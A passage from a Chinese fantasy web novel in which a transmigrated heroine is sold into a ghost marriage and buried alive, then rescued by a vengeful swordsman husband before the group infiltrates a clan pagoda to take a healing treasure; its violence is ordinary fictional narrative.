说着便挥手让那两位家丁上前去拿人,柳凝雪挣扎着往后躲,道:“这福分给你要不要?滚开!别碰我!”
她这一声喊惊得桌角的猫叫了起来,橘猫弓着背,眼神凶狠地盯着他们,就在这时,角落里的人猛地窜了出来,身形如豹,狠狠地抓了一下家丁的手。
家丁的手被抓得流出一道浓血来,深及见骨,妇人一见女鬼便唾道:“嘿!你这小娼鬼也敢在我面前放肆!”
说着便一道符纸贴到女鬼身上,女鬼痛得尖叫一声,依旧缠着那两位家丁不放,柳凝雪见状,起身欲走,妇人一见慌忙上前想拉她,却被橘猫趁势一拌,摔倒在了地上,发出哎呦一声痛喊。
柳凝雪快步往门外跑去,在前脚踏出门槛时,手中措不及防被人塞了一把东西,她回头一看,便见女鬼和猫都被家丁抓了起来。
她看她的眼神亦如当初看她嫂嫂时的灼烈,期盼着她能够逃出这里。
可事实却远比理想残酷,柳凝雪刚跑到小巷门边就被守在门外的家丁堵了个严实,他们手臂上裸露的强劲的股肉无不昭示着力量感。
她逃不出去的。
——
谢玄淮回到村落时已至天黑,在回的路上,他又碰上了几只怨鬼,这个村庄远比他想象中还要脏。
可等他回到落脚处时,周围寂静的气氛让他眉心一跳,一点活人气息也没。
他忙提剑走到屋前推开木门,看到的却是空无一人的房间,他握紧了手中剑朝床榻边走去,只见枕头下压着符纸一角,他将符纸抽出,符纸瞬间自燃消散。
谢玄淮跟着符纸的指引来到净室后方的巷道里,巷子木门大开,直通尽头的房屋,可屋门前除了一堆枯骨和一只死去的猫外便无其他人。
他心脏还在阵阵的抽痛着,连追踪符都失了指引,这说明带柳凝雪走的很可能也是修道之人。
血珠沿着他的脸侧不断滑落,久未停歇的双眸爬上了他丝,现在的他面色平静到了极点,眉眼间戻气横生,柳凝雪不见了,那他就挨个上门找,挨个屠。
桃花源里的所有人都是以买卖妇女的生意由来已久,可自从上次上京城的事情暴露后,他们就谨慎了些,改为卖阴妻。
死了葬了就没人能查到他们头上,就算有人找上了他们,他们也能矢口否认,因为没有人证。
天色暗沉可怖,谢玄淮提着长剑,曲指敲响了下一户人家,染血的指节敲在门上,留下了血色的指印。
主人家闻声出来开门,看到的却是一身血的谢玄淮,他语气冰冷地开口问他,“你知道柳凝雪在哪里吗?”
主人家登时被吓跌倒在地上,谢玄淮神色漠然地扫视着他,冷冷开口,道:“我再问一遍,柳凝雪在哪里?”
52. 哭了
“我不知道我不知道啊!”主人家连滚带爬地想要逃离这里,他神色惊恐不已,却在跑出去两步的时候,一把长剑洞穿了他的心肺,长剑刺破他的背和胸膛,正潺潺地往外流着鲜血。
正端着饭出来的妇人见到这一幕,顷刻间就被吓得腿软,手一哆嗦,饭碗被打翻了出去,她正是将柳凝雪卖出去的妇人。
妇人认出来他是和那个被自己卖出去的姑娘是一道的,慌忙跪着将一切都说了出来,道:“崔家,她在崔家,就在离村不远处的崔府那里。”
她因惊惧而颤抖的嘴唇还想要说什么,可紧跟着,她的心肺也被一剑洞穿。
艳红的鲜血洒在谢玄淮的全身上下,妇人双眼大睁,死不瞑目地瞪着他,他面无表情地看了眼倒在地上的尸体,转身出了院子。
院外夜黑风高,谢玄淮行走在道路边,两指间抽出一张符纸,他来到村口的一株桃花树下,上面被人施了阵法得以保障村落安全,不被怨鬼袭击。
可如今这道好不容易布下的阵法,却被少年用一张符纸给击碎了,黄符钉在桃花树上,将代表着阵眼的符咒击得四分五裂,阵法破开,周围怨气大动,尖锐的鬼爪从土里破出,接着便是全身,那些女鬼纷纷爬向村落里。
圆月高挂的黑夜下,村落里传出的惨叫声此起彼伏,谢玄淮神色冷淡地抱剑往前走去,身后的道路上却是血染一片,他们种下的因便理应承受带来的果。
——
柳凝雪双手被人反剪绑在背后,套上了麻袋,丢进马车里运走了。
马车车轮骨碌碌地向前,她现在都不知道自己身处何地,抓她的人颇懂术法,将她身上有关术法的东西全都收走了。
这样一来,谢玄淮就很可能找不到她。
想到此处,她心里慌了慌,又勉力装作镇定的样子,马车不知道行了多久,最后在一户富贵人家的门前停下。
柳凝雪被人从车里带出,推搡着往前走,一直到堂屋他们才停下,她低头看了眼脚下,面前正燃着一个火盆,耳边不断传来轻微女子的抽泣声。
正在她发怔时,眼前忽的一亮,麻袋被人拿开了,映入眼帘的是一个大大的黑白“奠”字,它被人堂堂正正地摆在了上首,下面则是一副未合上的棺材,里面正躺着一个眉清目秀,容色苍白的男子。
府中挂满了白幡,火盆里烧着纸钱,柳凝雪定定地看着棺材里的人,耳边传来那位崔老爷苍老的声音,道:“我儿天赋异禀,年纪轻轻就掌握了五行术,可惜天妒人怨,在几天前他出去除邪时不小心死了。”
他声音语气都很平静,透着淡淡的忧伤,他又接着说:“他今年才十九岁,还未成婚,我不想他一个人孤零零地待在地下,所以只好委屈姑娘你了,你放心,你与我儿一起下葬后,我必将你的名字记进族谱,供后世景仰。”
柳凝雪咬了咬牙,忍住胃里的翻涌,看着他们的目光就好像在看垃圾一般,令人恶心。
她声音冷冷道:“我不需要进你家的族谱,你以为你是谁?你和你的儿子一样恶心!”
崔老爷容色冷漠地看着她,似是在看一件物品,他未因柳凝雪的出言不敬而动容,他道:“带大少夫人下去换衣服。”
话落,便有两名粗婆子上前将柳凝雪扭着去换衣服,尽管她百般不愿,可力道终究比不上别人。
“你放开我!我自己会走!”柳凝雪挣开了婆子的控制,抬脚向偏房走去。
有两位婆子守着她换衣服,她没办法通过换衣服拖延时间,且显然崔老爷也不给她这个机会,换好婚服后,直接让人抓着柳凝雪过来了。
柳凝雪扫视了一眼在场的众人,目光不可谓不怨毒,崔夫人手执锦帕不停地抹泪,身边的俏龄女子不停地安慰她。
崔老爷道:“把她放进去。”
随即就有两名家丁上前,抓住柳凝雪死死压制着她,再给她绑上双手双脚,一旁的婆子忙拿了一条红带将她的嘴巴缚住。
柳凝雪嘴巴被缚住,只能发出呜呜呜地喊声,她目露惊惧地看着他们,眼角泛起点点恐惧的泪光,然而在场的人俱都冷眼看她,好似一切都理所当然。
即使双手双脚被绑,柳凝雪也拼命挣扎着,可在绝对的力量下,她的挣扎就显得那么可笑。
他们将她抬进了棺材里,和棺材里的人一起平躺着,他们身上都穿了大红的喜服,乍一看竟像一对才子佳人。
躺下的那一刻,柳凝雪就听到屋中响起了唢呐声,紧接着,棺材板被一点点挪动着盖上。
柳凝雪紧盯着棺材板,身躺剧烈挣扎扭动着,可都无济于事,在她的绝望的目光中,棺材板砰的一下紧紧合上了。
视野陷入一片黑暗当中,柳凝雪听到棺材板上传来钉钉子的声音,她的呼吸因害怕而变得急促,胸膛在剧烈地起伏着,但很快她就意识到,这样会加快氧气的消耗。
想到谢玄淮,柳凝雪心神定了定,尽量克服内心的恐惧去调整呼吸,她要撑到谢玄淮过来,她不能死在这里。
唢呐声被隔绝在棺材外,半晌过后,便是棺材被人抬起的动作,被抬起的那一刻,柳凝雪的心又是狠狠一抽,尽管她努力去平复心情,却还是忍不住呼吸急促起来。
恐惧犹如一张密织的大网缚着她将她拖进无尽深渊,一时间顿如溺水般喘不过气来,柳凝雪脸侧滑过一道泪痕,说不害怕是假的,巨大的恐惧又如何能轻易就克服。
棺材被人抬着放进了挖好的深坑当中,柳凝雪隐隐听到他们在填埋泥土的声音。
泥士笃笃滚落在棺材上的声响逐渐喊小,周围彻底陷了无边的黑暗与寂静当中,柳凝雪呼吸变得慌乱紧张,身边一股潮热感不断地向她袭来,压得她好像喘不过气。
砰——!!!
与此同时,崔府刚闭上的大门被一道凌冽零道的剑气给斩开了,守在门处的家丁被剑气震飞出几米开外。
他们捂着被震痛的伤口噗地吐出一口血,来不及看清来人,他们就倒地死了。
其余人见状,赶忙去通知崔老爷,谢玄
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淮的剑势无人能挡,他眼中杀意浓郁,几乎是见人就杀,不留活口。
崔老爷过来时便见一地的尸体,他双腿一下子瘫软在地,看着满院的血迹,他惊得瞪大了双眼,说不出一句话来。
“你们买来的那个姑娘呢?”谢玄淮剑指着崔老爷,冷声道。
崔老爷哆哆嗦嗦地开口,道:“葬……葬了……”
在极度的恐惧下,他已经说不出一句完整的话了。
“葬了?”他眉眼透露出来的疯狂狠戾几乎难以抑制,冷如寒冰的声音在他们耳畔响起,说:“去把她给我挖出来,她要是死了,你们都别想活!”
崔老爷现在哪里还敢多说什么,连滚带爬地叫上家丁去挖坟。
所幸葬得不远,就在后头山上,崔老爷指挥着家丁将棺材一点一点都下面挖出来。
棺材里的空气越来越稀薄,也越来越闷热,柳凝雪已经感受到呼吸不畅了,她胸口泛起一阵难忍的恶心,像被压了一块巨石沉重至极,神智也开始迷迷糊糊的,她微闭着眼睛,心里却还在想,谢玄淮找到她了吗?她不想死在这里。
凭着这个念头,她强撑着不让自己晕过去,就在这时,棺材顶上发出砰的一声巨响,柳凝雪强打起精神看过去,只见棺材板一点点被人撬开,新鲜空气疾速地往里窜入,冲散了那股令人难受的燥热。
闷热被冲淡的那一刻,柳凝雪胸口上沉重的石头仿佛被人搬开,氧气猛地灌入她的鼻腔心肺,引起一阵巨烈的咳嗽。
“咳咳咳……”
她软弱无力的手搭在自己的胸前一阵一阵的抚摸着,在棺材板被打开的那一刻,谢玄淮脸上的狠戾冷漠退散,取而代之的是焦急忧虑,他丢下佩剑,跳下坑中,把柳凝雪抱出了棺材,将她身上的绳索解开。
柳凝雪躺在他怀里大口大口地喘.息着,直至胸中的沉闷退散,她目光逐渐聚焦在少年的脸上,见到谢玄淮的那一刻,压抑在眼底的泪珠瞬间奔涌溃散,她一把抱住他,哭着说:“我以为我再也见不到你了。”
谢玄淮被她抱得怔了一下,附在她耳边轻声说:“没事了。”
随即,他将打横她抱起,一跃跳出了坑底,崔老爷也跟着紧忙爬了上去,却听谢玄淮冰冷的声音,道:“你既然这么喜欢你的儿子,想必死在他的手下,你也很乐意吧?”
说完,崔老爷还未反应过来他说的是什么意思,就听扑哧一声响起,不知何时,棺材里躺着的人早已坐了起来,他一只手硬生生洞穿了一个家丁的胸膛,接着又是另一个,他速度之快,令人根本来不及逃。
是尸变!!
崔老爷慌忙抽出符纸想要对付他,但不知谢玄淮动了什么手脚,普通符纸对他竟然没用。
然而此时,他已经从坑里爬出来了,崔老爷下意识地想要逃跑,未料,他速度比他更快,一手穿过崔老爷的后背及胸膛,将整颗心都破开了。
崔老爷口中鲜血直吐,他瞪大了双眼,不敢置信地倒了下去。
……………
53. 会合
柳凝雪被谢玄淮抱着没多久就晕过去了,再醒来时,已经在马车里了。
她身上那件大红的喜服已经被人换成了樱粉的衣裳,头上的凤冠也不知道被扔哪去了。
柳凝雪揉了揉泛着酸痛的脖颈,掀起车帘下了马车。
马车停在一个小镇的附近,靠近河流,河上的小桥处人来人往,呼喊买叫声此起彼伏,来往不断。
柳凝雪看了一眼四周,四月春风,杨柳拂岸,犹有一派江南盛景。
她没有见到谢玄淮的身影,便在河边坐了下来,不过多时,便见谢玄淮手中拿着一袋包子回来了。
见到她后,他淡漠的眸色微动,将手中的包子递给她,说:“包子。”
柳凝雪点了点头,未有迟疑,接过他手中的包子吃了起来。
她看着人头攒动的对岸,热闹非凡,便问道:“他们这是在做什么?”
谢玄淮抱着剑站在她身侧,闻言答道:“今日是无忧镇的灯节。”
柳凝雪了然,难怪他们手上都提着一个灯笼,望了望对岸正进行得热火朝天的活动,她心生暗羡,虽然很想玩,但目前还是办正事要紧。
望着身边眼眸亮起又暗淡下去的少女,谢玄淮唇瓣微动,道:“江若宁他们会晚点时间到,我们会与他们会合再走。”
他说话时,目视着远方,心中似有什么被触动,柳凝雪眼睛当即亮了起来,欢欣道:“真的?!”
谢玄淮:“嗯。”
柳凝雪道:“那好,等他们过来了我们再走。”
——
江若宁几人是傍晚才到的无忧镇,他们前往谢玄淮早已找好的客栈落脚,封余休跟在几人身后,低眸思索着什么,一副心事重重的样子。
忽的,前方响起一道清澈明亮的声音,道:“你们来了?”
他抬眸望去,便见一袭粉衣的柳凝雪面上带笑朝他们走了过来,见她平安无恙,他低垂的眉眼终于染上了几分柔和。
林月明走上前,对她说:“那晚怎么回事啊?你和谢玄淮怎么莫名其妙就消失了?”
江若宁也跟着道:“对啊,你都不知道我们多着急,还以为你们被鬼吃了。”
柳凝雪听完微笑着说:“我们进去再说。”
客房充足,价格也不贵,他们一人住进了一间房,整理过后几人又围在了一楼处。
桌上摆着柳凝雪点好的菜,他们一行人走了这么久,肚子也饿得不行,便边吃边听柳凝雪说。
听到最后,赵云绵睁着大大的双眼惊讶地看着柳凝雪,说:“那你身上的诅咒解决了吗?”
柳凝雪也不清楚,不过自从那女鬼塞着她三柱香后,似乎就没有邪崇来缠过她了,她说:“应该是解决了。”
众人这才松了一口气,赵云绵又笑说:“今晚似乎有灯会,我吃完饭想出去玩一下。”
一路上,她和几人都慢慢的熟络起来,说话做事也不以初见时的腼腆羞涩了。
柳凝雪道:“正好,我也想出去玩一下。”
用过饭后,柳凝雪便打算出去找谢玄淮,游玩不急于一时,但不知谢玄淮去哪了,自傍晚起就不见人影。
刚走到河畔,忽见对面遥遥走来一道人影,柳凝雪驻足看去,便见封余休自灯火中走出,来到了她面前。
岸边没有多少人,灯火寥落,远不及街上通明,显得有几分昏暗,河上飘着数盏花灯,是对岸的人们不断投放的河灯。
柳凝雪和他站在人迹稀少处,四目相对,她问他:“有什么事吗?”
少女的眼神清明,好似这河中花灯一样,她秀丽的面容带着几分疑惑不解,封余休心念一动,说道:“没事就不能来找你?怎么说我们也是拜过堂的……”
“停!”柳凝雪抬手打断他的话,道:“那并非出于我自愿,我是被迫的,况且你也看到了,我是有夫之妇。”
话落,他脱口而出,“我不介意的。”
“什么?”柳凝雪怀疑自己听错了,封余休眼眸微垂又抬起,道:“我不介意。”
他一字一句说得极为认真,“嫁了也不是不可能和离,况且我听说你们此前只见过一面便成亲了,未必就有感情在身。”
柳凝雪被他的一番话惊得说不出话来,她不明白自己哪里打动了封余休,怔怔地问他:“你为什么会喜欢上我?”
封余休其实也不太清楚,但他向来遵循自己的感觉,他道:“不知道,或许可以用一个词来形容,一见钟情?”
柳凝雪瞥了他一眼,低声喃喃道:“什么一见钟情,我看就是见色起意。”
封余休似是听见了她的喃喃自语,唇边弯起一抹笑,道:“也可以这么说。”
柳凝雪:“……”
河堤柳树旁,道路上耀眼的灯光和此处的昏暗形成鲜明对比,谢玄淮抱着剑神情冷冷地看着河边的一对金童玉女,他周身的寒气冷得吓人,沉着一张脸宛如罗刹。
他傍晚时分,拿着柳凝雪带来的三柱香去了了无人烟处,虽说有香在,邪崇已不敢再来进犯,可想要彻底去除诅咒,还需要将三柱香并拢倒立插在盛着水的碗中,将缠在柳凝雪身上的邪崇引出。
这种民间的土方法已经见怪不怪的了,他也是曾读过古书才知晓这一方法,柳凝雪并不知道这三柱香的真正用处。
可等他默默做完一切回来时,却见到自己心心念念的妻子在河岸边和旁的男子交谈甚欢,他甚至动了杀掉封余休的念头。
若不是他横插.进他们当中,柳凝雪又怎将多余的目光分在他身上分毫。
柳凝雪本就不擅言辞,被封余休的一番话说得哑口无言,她愣愣看了他一会儿,说道:“那个……你要不要再好好地想一下?我对你根本就没感觉啊。”
“没事。”封余休道:“爱与不爱那都可以培养出来,只要你我相处得够久,总能生出情分来。”
他眸光一动不动地望着她,脸色越发地认真了,对她说:“选我好吗?和我在一起,跟我走吧。”
柳凝雪懵了一瞬,道:“现在吗?可是婚约怎么办?”
抛开一切不说,封余休的确是攻略的好人选,他远比谢玄淮要好上太多了,起码他是个正常人,没有谢玄淮那么疯。
不远处的柳树下的谢玄淮听到这一句话,咔的一下掰下一块树皮,脸色黑得能滴出墨来了,她竟然真的想走。
封余休挑了挑眉,道:“你无须担心,只要你和我走,一切都不是问题。”
柳凝雪细细地打量了他一眼,看他不像说慌的样子,封余休又道:“你想要什么我都会给你,只要我能做到。”
“且我保证,只会娶你一个,永生永世,不离不弃。”
为了证明自己所言非虚,他甚至举起了三根手指,对着天发誓。
若是一般人面对这些承诺,肯定会有动心,可柳凝雪心底却一片平静,毫无波澜。
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江若宁是这时赶来的,他一个游逛着,忽见岸边站着封余休和柳凝雪两个人,心觉奇异,又见柳树下站着谢玄淮,就更怪异了,等他一走近便察觉谢玄淮周身的气息冷得吓人。
再抬眼看去,就见封余休举着手对天发誓,看着柳凝雪的眼神专注而神情,他还有哪里不明白的。
谢玄淮这是被人撬墙角了啊!
他略一思索了一下,当即立断去把林月明叫过来,彼时林月明正闲逛着,被他急匆匆地一拉,眉头即刻皱起,拍开他的手,道:“干什么?!”
江若宁急切地解释道:“哎呀,来不及了,再迟一点他们就要打起来了。”
林月明还不明白他话里的意思,就被江若宁拽着来到了河边,等她一看到岸边的三人便彻底明了了。
她毫不犹豫地抽出剑一个闪身格在柳凝雪面前,柳凝雪被她这架势吓了一跳,又见她气势汹汹的样子,她忙拦住她,道:“林月明?你怎么来了?”
林月明回头对她说:“我再不来,看着你被拐走吗?”
随即,又回过头,瞪着封余休道:“哪里来的野人。”
她气焰嚣张,蛮横至极,封余休眉头微微蹙起,透着些被打断的不悦。
谢玄淮适时地从柳树后出来,目光落在柳凝雪和封余休身上看了几眼,语气凉凉道:“我竟不知叶公子与我的世子妃在此处做甚?”
他咬重了世子妃三个字,又站在了柳凝雪身边,昭示身份,表明立场。
封余休的面色微微一沉,微笑着对谢玄淮道:“谢世子。”
两人目光相接,气势强硬,谁也不输谁,空气中登时冒起了一股火药味,柳凝雪一时劝也不是,不劝也不是。
她垂在袖下的手忽然被人牵了起来,她看着谢玄淮,下意识地想要挣脱,却被他反手十指相扣,越握越紧了。
她挣脱不得,只好作罢。
谢玄淮牵住她的手后,微挑了下眉看向封余休,目光不掩挑衅,似乎在问你还有什么要说的吗?
封余休看着两人紧牵的手,心下一颤,好像有什么东西被挖出,心里空落落的,他抬眸看向柳凝雪,见她低垂着眉不说话,心中已然明白了几分。
封余休犹如自嘲般笑了笑,道:“没有,再会。”
封余休转身离开,柳凝雪这才抬起眼,视线追随着他远去,手下却突然被谢玄淮猛地一拽,她被拽得差点跌倒,既不解又埋怨地看向他。
耳边传来谢玄淮冰冷带笑的声音,道:“怎么?舍不得?”
他目光带着怨恨与寒意,犹如利箭般似要将她洞穿,紧接着,柳凝雪就感觉手中一松,他抽出了自己的手,转身毫不犹豫地离开。
柳凝雪张了张唇,想要说什么,可喉口却像是堵了一团棉花,什么也说不出去。
夜晚的灯会不欢而散,自那夜后,封余休就留下一张纸条说自己有事先行离开了,饭桌上,柳凝雪和谢玄淮,林月明,江若宁四人经历了昨晚的事,再看手上的字条,一时神色各异。
唯独赵云绵一脸不解,她昨晚因为大累就早早回去休息了,所以并不知道发生了什么,只是见封余休不在,便问了一句,“叶大哥呢?”
林月明和江若宁同时夹菜的手一顿,江若宁讪笑着回应她,说:“他……说有事,先走了,我们也赶紧吃完动身吧。”
赵云绵“哦”了一声,可饭桌上诡异的气氛还是让她觉得有些不对。
54. 四方镇
几人用过早膳后整理完东西便上路了,此时已经离四方镇不远了,再行过一天一夜便可到达。
柳凝雪坐在马车里托腮望着窗外,外面的景色随着马车的前行而后移,她苦恼地思索着接下来的攻略该怎么办,谢玄淮明显不想多理她,两人就此进入一个冷战状态。
虽然她确实觉得封余休更好攻略,但她对封余休根本生不起感觉,至少比谢玄淮的感觉要弱十几,几十倍。
或许是选男主时,柳凝雪投过谢玄淮一票的原因?
是的,在原作者开文时,曾公开在选谁当男主这个环节中进行过投票,当时清冷占有欲男主是网络主流,很多人投了沈如珩。
但在无人的角落里,柳凝雪偷偷地给谢玄淮投了一票,无他,她更喜欢表里不一的男主,鉴于原作者还是个十八线小作者,投票人并不多,她看到主角人选谢玄淮那一栏中弱弱地呈现一个1字,当即立断让谢玄淮出一下场。
即使出场机会不多。
她选他只是因为更带感些,但万万没想到自己会来攻略他,现实和一二次元还是有差距的,她觉得带感,不代表自己真的就接受三次元这种性格的人。
柳凝雪想着惆怅地叹了口气,造孽啊。
马车晃晃悠悠地前进着,行了一天一夜后,终于到了四方镇,镇上居民和气,温善可亲,几人赶了这么久的路,终于能歇下来了。
赵云绵刚到镇上就被赵家给接走了,来到四方镇时,她已修书告知家里人,赵家很感激他们将赵云绵带了回来,想要邀请他们去赵家住,但被柳凝雪他们以有要事在身给回绝了。
四方镇说是一个镇,实则有半个城池这么大,之所以这么大,究其原因,还是几十年前,当时荆州邪崇作乱,人手不足以分出来护佑四方镇,就在这时,一个姓封的人站了出来,他手持长剑,修为极高,一路斩邪崇,护百姓。
在他的带领下,四方镇渐渐安定下来,周围受难的百姓见状,也忙搬迁进四方镇住着,可由于百姓众人,那位封姓人忙不过来,便开始广收门徒,久而久之就发展成了现在的荆州封家,提起荆州封家几乎是无人不知无人不晓。
荆州封家善阴阳术,信奉道家,子弟个个出众,大有青出于蓝而胜于蓝的姿势。
柳凝雪默默听着林月明的讲述,以看了多年小说的直觉告诉她,这个荆州封家可能和封余休有关。
这也不怪她怀疑,在快到四方镇时,封余休就走了,一路上,她能感觉到他在隐藏自己的实力,又加之他不愿向别人透露姓名,这更加确定她的想法。
原著中本没有这一情节,她不认识荆州封家情有可原,但说出封余休的名字的话,谢玄淮林月明他们未必就不知。
柳凝雪视线看过他们,最后还是选择将这件事藏在心底,既然他不想透露姓名,那必然有他的苦衷。
林月明说完两手一摊,道:“大概就是这么多了。”
柳凝雪听得入神,问她:“你这么了解封家,莫非这次的目标就是封家?”
走到这里,林月明也不想瞒她过多,点头道:“是的,你呢?你也是?”
其实不是。
她只是个勤勤恳恳做自己任务的攻略者。
柳凝雪一不知该说是还是不是,她看了看对面坐着的谢玄淮,猜测他此行的目的也是封家,于是她点了点头。
谢玄淮低头喝着茶,幽深的眸子扫过水面,一言不发。
柳凝雪又问道:“你们到底想要找什么?”
林月明和江若宁对视一眼,在各自的眼里看到可以的意思后,林月明对她说:“实不相瞒,我们是来取金蝉玉叶的。”
“金蝉玉叶?”柳凝雪重复了一遍,又问他们,“这个是用来做什么的?”
林月明道:“金蝉玉叶有治伤之效,我们想用它来疗伤。”
柳凝雪:“哦。”
再多的林月明便不想聊下去,柳凝雪想了想,或许是林月明家里的人出了什么情况需要用到金蝉玉叶。
江若宁看向一直沉默的谢玄淮,问他:“对了,谢世子,你又是来做什么的?”
谢玄淮闻言放下手中的茶,抬眸望向他,说:“巧了,我也是来找金蝉玉叶的。”
话落,江若宁和林月明的脸色一时变得变幻莫测起来,据他们所知这府中就只有谢玄淮和柳凝雪两人了,他要这金蝉玉叶有什么用?
当然这话他们不好问,问了他也不一定答。
柳凝雪看看谢玄淮又看看林月明和江若宁两人,这么说两人就是竞争关系了?
那她怎么办?
一边是朋友,一边是丈夫。
虽然不是妈妈,但这个问题不亚于在问你我和你妈掉水里了,你先救谁。
这时,林月明站起身,道:“如此,我们与谢世子便是竞争关系了,这个金蝉玉叶,我们一定要得到。”
说完,她便带着江若宁离开了,柳凝雪还什么都没说,就被自动划分为和谢玄淮一组了。
客栈里只剩下她和谢玄淮两人,气氛一时尴尬不已,柳凝雪恨不得找个地洞钻进去。
谢玄淮慢悠悠地喝着茶,也没有要动身的意思,柳凝雪简直如坐针毡,她在心里狂叫系统。
“系统!现在这个情况怎么办啊?!”
系统:……
柳凝雪并没有处理恋爱过程中吵架冷战的经验,因为她根本没谈过恋爱,但她觉得有必要做点什么来缓和他们之间的气氛。
系统:你亲他一下就可以了。
柳凝雪:真的吗?
系统:不知道。
它也没谈过。
柳凝雪:“……”
她抬眸望了望谢玄淮没什么表情的脸,他垂着双眸,似是在想什么。
真的要亲吗?
大庭广众之下不太好吧?
柳凝雪心里犹豫不决,脑海中同时浮现出两个小人,一个说:“你怎么这么懦弱?!亲上去就行了!他长得这么好看,你亏不了!”
一个说:“别亲别亲,万一是你自己自作多情怎么办?而且大庭广众之下,你怎么好意思的?
两个人争吵不休,柳凝雪将脑中的小人挥散,望着谢玄淮正低眸思索的脸庞,暗暗下定了决心。
此时,谢玄淮正回想着封家两仪堂的路线,眼角余光忽然瞥见对面的人动了
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动,他有些不解地抬眸望去,便见柳凝雪朝他这边坐了过来,下一刻,他就感受到自己的侧脸被一个柔软的物什贴上了。
他眸光猛地一顿,眼中似有冰山逐渐消融,化去成为缕缕春风,荡漾过心河。
他握着茶盏的手一紧,心脏在扑通扑通跳个不停,柳凝雪忐忑地移开脸,却见他面色如常,淡漠依旧,心里不免泛起了嘀咕。
难道没用?
想完,柳凝雪就想狠狠地抽自己一巴掌,亲吻只对喜欢你的人有用,谢玄淮又不曾说过喜欢她,甚至可能厌烦,她这样亲上去不就是自取其辱吗?
她竟自恋到以为谢玄淮是喜欢她。
柳凝雪真想抽一把剑当场自戕,她以前也不这样的啊。
“我不是故意的!”柳凝雪道,但这句解释无论如何都显得极为苍白。
见谢玄淮没什么反应,她脸红到了耳根,一咬牙,把心中所想说了出来,“没错!我就故意的!你要把我怎么样吗?”
谢玄淮抬眸望向她,尽量让自己的脸色显得平静如水,对她说:“你我本是夫妻,做什么都没关系。”
柳凝雪:“哦。”
即使面上神情不变,可他的心也迟迟不能平静下来来,深沉的眸底掠过一抹晦色,多年平淡无欲的身体犹如枯木逢春。
……
封家的两仪堂是现下封家弟子住的地方,此处远离镇上,规模宏大,宛如宫殿。
除却恢宏的外表外,里面也是机关阵法重重,若无允许,外人难以进入其中,更别说金蝉玉叶是封家至宝,被锁在封家宝塔中,这里的阵法机关更加繁杂难闯。
夜幕来临,练完剑和术法的封家弟子各自回了房间休息,只余少数弟子还在精进自己的术法。
江若宁跟着林月明潜入了两人堂里,林月明法宝众多,多到手上竟有两仪堂的令牌。
是以,他们一路来到宝塔下都没遇到太多困难。
宝塔约有六七层高,据林月明查的资料所知,金蝉玉叶在三楼。
江若宁说:“拿了金蝉玉叶,你舅舅就有救了。”
林月明点了点头,心事重重道:“希望吧。”
她舅舅被邪祟重伤,药石无医,现在正处于昏迷当中,她偶然间在书上看到封家的金蝉玉叶可以疗伤,便打定了主意来封家拿。
这种宝物封家是不会随意拱手让人的,她只好潜入两仪堂偷了,自然,用完了她就会还回来,至于后果,她没想那么多,救舅舅是当务之急。
可她若不能取回金蝉玉叶,到时惊动封家不说,舅舅的命也……
林月明不敢再多想下去,她凝了凝神,对江若宁道:“走吧。”
宝塔易进难出,想进,用封家令牌即可,想出,就得看命,里面的阵法强弱按照进入者的最高修为来变化。
修为越高,阵法越强,也就越能突破,严重的话甚至会死在里面。
林月明和江若宁各持一把剑进入塔中,首先映入眼帘的是旋转阶梯。
一层里空无一物,只有一座立在正中的旋转楼梯。
林月明道:“走。”
两人随即上了旋转楼梯。
55. 误闯
塔中没有明灯,所见之处皆是黑漆漆一片,柳凝雪伸手取了张符点燃,火光照亮四周,映两人的脸上,柳凝雪道:“这里也太黑了吧。”
谢玄淮沉默不语,取出一张符纸往前掷去,符纸如箭带着火光破空而出,所到之处皆被照亮,石彻的通道似乎没有尽头,原本明亮的符纸一点点消失在黑暗之中。
柳凝雪蹙眉道:“这个塔真是奇怪,在外面看来也没有这么长啊。”
就在夜晚,他们静悄悄地潜入了两仪堂,有谢玄淮这个术法人才在,这些阵法对他们来说不足为惧。
等他们进到塔里后,却被一片通黑绊住了手脚,前方未知,潜藏着无数危险,他们也是一步一步,时刻警惕着。
这只是塔中二楼,他们过来都没遇上什么难搞的阵法,顺利地出乎意料。
谢玄淮与柳凝雪一同沿着暗黑的通道来到了三楼处,三楼便是藏着玉蝉玉叶的地方。
两人相视一眼,不用对方说也知要多加小心,他们来到一道紧闭石门处,石门巨大,高至天花板,上面雕刻着繁复难懂的花纹。
谢玄淮借着符纸的光亮,将五指搭在石门上摸索着,忽听咔塔一声响,门上的机关被他按了下去,石门应声而开,轰隆隆地往两边移去。
随着石门被打开,原本黑漆漆的室内猛地窜起了灯光,先是门后的两边,接着就是一盏盏的灯台被点燃,依次往里而进。
待所有的灯台都被点燃后,室内顿时耀眼一片,亮如白昼。
久置黑暗中,柳凝雪被这些突然亮起的光刺得闭了下眼,抬手挡了下。
等适应光亮后,她才放下手,打量起石室来,石室里宽敞无比,可这诺大的石室却一点装饰也无,墙面平滑无痕,地面平整无尘。
唯独石室最中间处建了一个半人高的石台,上面正放着一个用玻璃罩罩起的金蝉玉叶。
柳凝雪目光一扫,手一指,说道:“是不是那个?”
谢玄淮顺着她指的方向看去,点了点头,道:“嗯。”
虽异宝在前,两人也没有轻举妄动,而是肃然细致观察着周围,留心有什么陷阱。
可等到他们走近石台时,竟也不见一丝一毫的动静。
“就这么简单?”柳凝雪还是不太敢相信。
谢玄淮站在石台前,面色冷淡地将玻璃罩破开,取出里面的金蝉玉叶。
所谓金蝉玉叶,也就是用白玉雕刻成一片叶子的模样,再用金子刻成蝉的模样,最后将金蝉放到玉叶上,便成了金蝉玉叶。
金蝉玉叶做工精细,除此以外,还蕴含着一股强大的灵力,这与它的材质有着蔓大的关系,玉为昆山玉,金为补天石,再经术法之人多加练制,便成了现在的金蝉玉叶,能治好凡间一切病症及因邪祟而受的伤。
能治好凡间一切病症,这个柳凝雪是不大相信,但思及这是个修道世界,也不是没可能。
谢玄淮轻易地就将金蝉玉叶拿起,然而就在他执起的那一刻,石室内忽然出现了地动山摇之状,柳凝雪被带的晃来晃去,好不容易稳住身形,抬头一看,却见谢玄淮身形稳定,拿着手中的金蝉玉叶看得出神。
他一双眼睛粘在了它丄面,好像移不开目光似的。
石室内的动静带动了宝塔也一起晃动了,林月明和江若宁塔中,自然也感受到了,林月明脸色微变道:“不好,有人闯进来了。”
江若宁难得郑重道:“会不会是谢玄淮和柳凝雪他们?”
林月明道:“有可能。”
江若宁讶异道:“那他们岂不是拿到金蝉玉叶了?”
林月明抬头望向三楼的方向,对他说:“走,先过去看看。”
两仪堂中,栽满梨花的院落内,廊下少年抬目望着宝塔的方向,他神情专注认真,宝塔的晃动当然没能逃过他的眼睛。
